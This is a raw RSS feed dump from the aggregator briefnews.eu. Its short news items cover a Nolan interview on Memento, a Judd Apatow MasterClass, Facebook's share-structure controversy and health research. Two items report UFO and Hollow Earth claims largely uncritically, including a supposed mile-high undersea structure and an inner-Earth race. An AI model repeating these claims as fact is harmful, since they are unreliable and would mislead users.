“There’s this weird irony, because you actually find yourself as a filmmaker in the position of the protagonist that has to trust these notes he’s written himself,” Nolan said in the past. “It sounds a bit trite, but it’s really true. I watch the screen and think, okay I read the script three years ago and it seemed like a good idea at the time. But it’s like you really are, at a certain point, you’re so immersed in the material. You’re just having to trust yourself. You have so many points along the way where the film stops being real and you just have to say: this is what I’m making, this is what I’m doing and switch that half of your brain off and absolutely trust your initial instincts, your editor, your actor’s instincts and your own instincts about whether you’re getting what you want. The weird thing is you go through these torturous creative machinations and then you look back at the original script and it’s pretty, pretty close to what’s on the screen. It’s almost exactly the same. You say, ‘Thank God, how did that wind up like that?’”

The post Watch Christopher Nolan Explain the Structure of ‘Memento’ appeared first on /Film.

]]> https://briefnews.eu/watch-christopher-nolan-explain-the-structure-of-memento/feed/ 0 Google Earth: Is this proof of ‘Hollow Earth?’ – UFO hunters found THIS mystery structure https://briefnews.eu/google-earth-is-this-proof-of-hollow-earth-ufo-hunters-found-this-mystery-structure/ https://briefnews.eu/google-earth-is-this-proof-of-hollow-earth-ufo-hunters-found-this-mystery-structure/#respond Fri, 23 Mar 2018 14:19:03 +0000 http://briefnews.eu/google-earth-is-this-proof-of-hollow-earth-ufo-hunters-found-this-mystery-structure/

Google Earth is a computer geobrowser that accesses satellite and aerial imagery to create a 3D representation of the world for viewers to browse and explore. 

Similar to Google Maps, this tool allows visitors to virtually explore the globe from the comfort of their bedroom.

From the highest of mountains to under the ocean, a detailed map has captured the world in a way that way never possible before. However the tool doesn’t only capture the wonderful, some users use the tool in search of the ‘unexplained.’

In a spot in line with the great Giza Pyramids, has one user captured proof of extraterrestrial activity? UFOlogists have discovered a massive structure under the ocean measuring a massive one mile in height.

Located in exact line with the oldest of the three Giza pyramids in Egypt, the strange structure can be seen protruding out of the depths. 

Whilst zooming into the site, UFOlogists show the large blue spike sticking out of the ground with no other surrounding objects explaining the spooky structure. 

Author of The Perfect Edition, Shefket, explains that most believe the structure is not natural, and that nothing else “remotely resembles it on Earth.”

For some, the believers of the Hollow Earth theory, who believe the a whole other world lies beneath ours, this is all the proof needed to confirm such beliefs. 

Shefket went on to add that after close inspection a “very large gap somewhere deeper than the ocean floor” has been discovered. 

“These people also claim that the race inhabiting inner Earth don’t really hide there, but have chosen to come out very rarely, which probably means they do so in order to study us and not for resources.” 

“More than 95 per cent of the world’s seas and oceans are entirely unexplored and most of the globe is covered in water, so mankind only knows very little about the planet it inhabits. 

“If aliens could travel through space then a UFO would have no problem whatsoever submerging and navigating the oceans just like a submarine.”

According to Shefket UFO hunters now believe this weird structure is park of global network used by ancient advanced civilisations to transmit and receive large amounts of energy through great distances. 

Without any further explanation, visitors are left to decide if they believe this spooky structure really is from another world. 

If it is as Hollow Earth theorists suggest, this remarkable discovery could start a wider search into the unexplored oceans. 

Shefket revealed: “No country has yet to make an official statement on this discovery which seems a bit odd, let alone send an exploration team.”

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]]> https://briefnews.eu/google-earth-is-this-proof-of-hollow-earth-ufo-hunters-found-this-mystery-structure/feed/ 0 Riewoldt: ‘Tasmania needs structure’ https://briefnews.eu/riewoldt-tasmania-needs-structure/ https://briefnews.eu/riewoldt-tasmania-needs-structure/#respond Wed, 21 Mar 2018 17:07:50 +0000 http://briefnews.eu/riewoldt-tasmania-needs-structure/

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]]> https://briefnews.eu/riewoldt-tasmania-needs-structure/feed/ 0 New Judd Apatow MasterClass Teaches Story Structure, Stand-Up & The Art of Laughter https://briefnews.eu/new-judd-apatow-masterclass-teaches-story-structure-stand-up-the-art-of-laughter/ https://briefnews.eu/new-judd-apatow-masterclass-teaches-story-structure-stand-up-the-art-of-laughter/#respond Tue, 06 Mar 2018 20:33:19 +0000 http://briefnews.eu/new-judd-apatow-masterclass-teaches-story-structure-stand-up-the-art-of-laughter/ Judd Apatow MasterClass

The MasterClass subscription series has an incredible collection of some of the most iconic and respected minds and talents in various fields. But their assembly of talent from film and television is especially impressive. The likes of Martin Scorsese, Steve Martin, David Mamet, Hans Zimmer, Shonda Rhimes, Aaron Sorkin and Ron Howard all have their own MasterClass, and now one of the most successful names in comedy does too.

The Judd Apatow MasterClass brings the director, writer and producer of some of the most successful comedies of the past 20 years (The 40-Year Old Virgin, Knocked Up, This Is 40, Trainwreck) in to teach you how to think about comedy. You might think it’s impossible to learn how to be funny, but maybe you’re just not looking at comedy from the right perspective. Watch the Judd Apatow MasterClass trailer to see what he’s going to teach you.

Watch the Judd Apatow MasterClass Trailer

Here’s what Judd Apatow intends to teach you in this class:

  • Find comedic inspiration
  • Mine your life for material
  • Outline and structure stories for film and TV
  • Write stand-up material
  • Write comic dialogue
  • Pitch projects to studios and networks
  • Work with actors
  • Navigate the entertainment industry

That’s a pretty great line-up of lessons. Perhaps the two most interesting ones for aspiring writers and filmmakers will be about pitching projects to studios and networks and merely navigating the entertainment industry. Plenty of people think they know how it works behind the scenes, but it’s infinitely more complicated and maddening than that.

The comedic lessons will be invaluable too. Some of these lessons you learn with time and with seeing other comedians and getting perspective from fellow artists and audiences. But it’s good to have a place to start and to have guidance when you’re still trying to figure it out. But being “good” at comedy is something that takes years of practice, and any comedian will tell you that.

Our own Chris Evangelista took the time to subscribe to the Martin Scorsese MasterClass, and he said, “If you’re interested in filmmaking, this is great, and if you’re a huge fan of Scorsese, as I am, it’s even better.” Even if you’re not looking on how to make a film, this is a fascinating series to watch, because as Chris notes, “Scorsese isn’t telling you how you should go about making a film; instead, he’s telling you how he approaches filmmaking personally. This is less a class about filmmaking than it is a class about Scorsese’s brand of filmmaking.”

So for anyone who is a comedy fan or loves Judd Apatow’s work, this should be well worth it. You can take the Judd Apatow MasterClass for $ 90 at their official website. You can also pay $ 180 for a year of access to all their classes.

The post New Judd Apatow MasterClass Teaches Story Structure, Stand-Up & The Art of Laughter appeared first on /Film.

]]> https://briefnews.eu/new-judd-apatow-masterclass-teaches-story-structure-stand-up-the-art-of-laughter/feed/ 0 Google Maps mystery: UFO hunters claim this structure in Egypt is a secret alien base https://briefnews.eu/google-maps-mystery-ufo-hunters-claim-this-structure-in-egypt-is-a-secret-alien-base/ https://briefnews.eu/google-maps-mystery-ufo-hunters-claim-this-structure-in-egypt-is-a-secret-alien-base/#respond Sat, 03 Mar 2018 15:51:21 +0000 http://briefnews.eu/google-maps-mystery-ufo-hunters-claim-this-structure-in-egypt-is-a-secret-alien-base/

Google Maps is one of the most useful tools available on the internet, allowing people to visit all areas of the world from the comfort of their own home.

But as well as its informative qualities, the site also provides countless entertaining images.

Alongside the ordinary looking residential streets and national parks is everything from the amusing to the downright bizarre.

One particular image shows a Star Wars-like structure in the middle of the Egyptian desert.

The unique sight triggered a debate among UFO hunters who claimed the unique building has links to UFO research.

Some have even described it as a ‘secret UFO base’.

The structure’s existence was noted by SecureTeam10, a source for “UFO sighing videos”.

On the website’s YouTube video someone commented: “This reminds me of Star Wars.”

Others were more skeptical and offered logical explanations.

One person wrote: “It’s right next to the highway. How secret can it be?”

Some people suggested it was a “sand farm”, and others even a missile launch site”.

Another image on Google Earth shows an isolated iceberg off the coast of Antarctica.

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]]> https://briefnews.eu/google-maps-mystery-ufo-hunters-claim-this-structure-in-egypt-is-a-secret-alien-base/feed/ 0 ‘Wow, it’s actually beating’: Novoheart creates tiny heart-like structure with stem cells to test new drugs https://briefnews.eu/wow-its-actually-beating-novoheart-creates-tiny-heart-like-structure-with-stem-cells-to-test-new-drugs/ https://briefnews.eu/wow-its-actually-beating-novoheart-creates-tiny-heart-like-structure-with-stem-cells-to-test-new-drugs/#respond Fri, 08 Dec 2017 16:17:20 +0000 http://briefnews.eu/wow-its-actually-beating-novoheart-creates-tiny-heart-like-structure-with-stem-cells-to-test-new-drugs/ Novoheart specimen in Hong Kong lab

Novoheart Ltd. is the first in the world to use stem cells to grow miniature human heart-like valves and wants to use them to test new drugs — technology that may lead to fewer animals being used as test subjects and save big pharmaceutical firms billions.

CBC | Health News

]]> https://briefnews.eu/wow-its-actually-beating-novoheart-creates-tiny-heart-like-structure-with-stem-cells-to-test-new-drugs/feed/ 0 Facebook is falling amid share structure and Russian election influence controversies (FB) https://briefnews.eu/facebook-is-falling-amid-share-structure-and-russian-election-influence-controversies-fb/ https://briefnews.eu/facebook-is-falling-amid-share-structure-and-russian-election-influence-controversies-fb/#respond Mon, 25 Sep 2017 15:41:14 +0000 http://briefnews.eu/facebook-is-falling-amid-share-structure-and-russian-election-influence-controversies-fb/ mark zuckerberg sadWin McNamee / Getty Staff

Mark Zuckerberg isn’t having a great Monday.

Shares of Facebook are down 3.47% on Monday as Facebook trudges through several controversies.

The latest came on Friday as Facebook dropped its plans to issue a new class of non-voting shares. A special committee of the company’s board previously approved the plan to issue the shares, but a class action lawsuit was filed to block the share issuance.

Zuckerberg, the CEO of Facebook, was set to appear in court on Tuesday as a witness in the case, and the last minute change by Facebook means the CEO won’t have to answer a lawyer’s questions on the witness stand.

The company previously said the new shares would allow Zuckerberg to sell a majority of his shares for philanthropy while still maintaining control of the company. It would have also let Zuckerberg retain control of the company should he be elected to a public office.

Zuckerberg said on his Facebook page that he still plans to sell shares to fund his philanthropy and predicted that he would be able to retain control of the company for the next twenty years despite retracting the new share-structure plan.

“I want to be clear: this doesn’t change Priscilla and my plans to give away 99% of our Facebook shares during our lives,” Zuckerberg said, referring to his wife Priscilla Chan.

Facebook is also dealing with investigatory pressure from US lawmakers. The company announced it would cooperate with regulators as they investigate Facebook’s role in the 2016 election. Facebook said Russian affiliates purchased $ 100,000 worth of ads on its platform, and it will provide those ads to regulators.

In his first day back from parental leave, Zuckerberg announced a nine-point plan for limiting foreign interference on its platform in future elections. Turning over the Russian ads to Congress was one of the points.

“We are in a new world,” Zuckerberg said in a live broadcast from his Facebook page. “It is a new challenge for internet communities to deal with nation-states attempting to subvert elections. But if that’s what we must do, we are committed to rising to the occasion.”

Facebook is up 40.9% this year.

Click here to watch Facebook stock trade in real time…

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]]> https://briefnews.eu/facebook-is-falling-amid-share-structure-and-russian-election-influence-controversies-fb/feed/ 0 Even moderate drinking linked to changes in brain structure https://briefnews.eu/even-moderate-drinking-linked-to-changes-in-brain-structure/ https://briefnews.eu/even-moderate-drinking-linked-to-changes-in-brain-structure/#respond Wed, 07 Jun 2017 17:42:40 +0000 http://briefnews.eu/even-moderate-drinking-linked-to-changes-in-brain-structure/ The Great Lime Shortage

Alcohol consumption, even at moderate levels, is associated with changes in brain structure and an increased risk of worsening brain function, scientists say.

CBC | Health News

]]> https://briefnews.eu/even-moderate-drinking-linked-to-changes-in-brain-structure/feed/ 0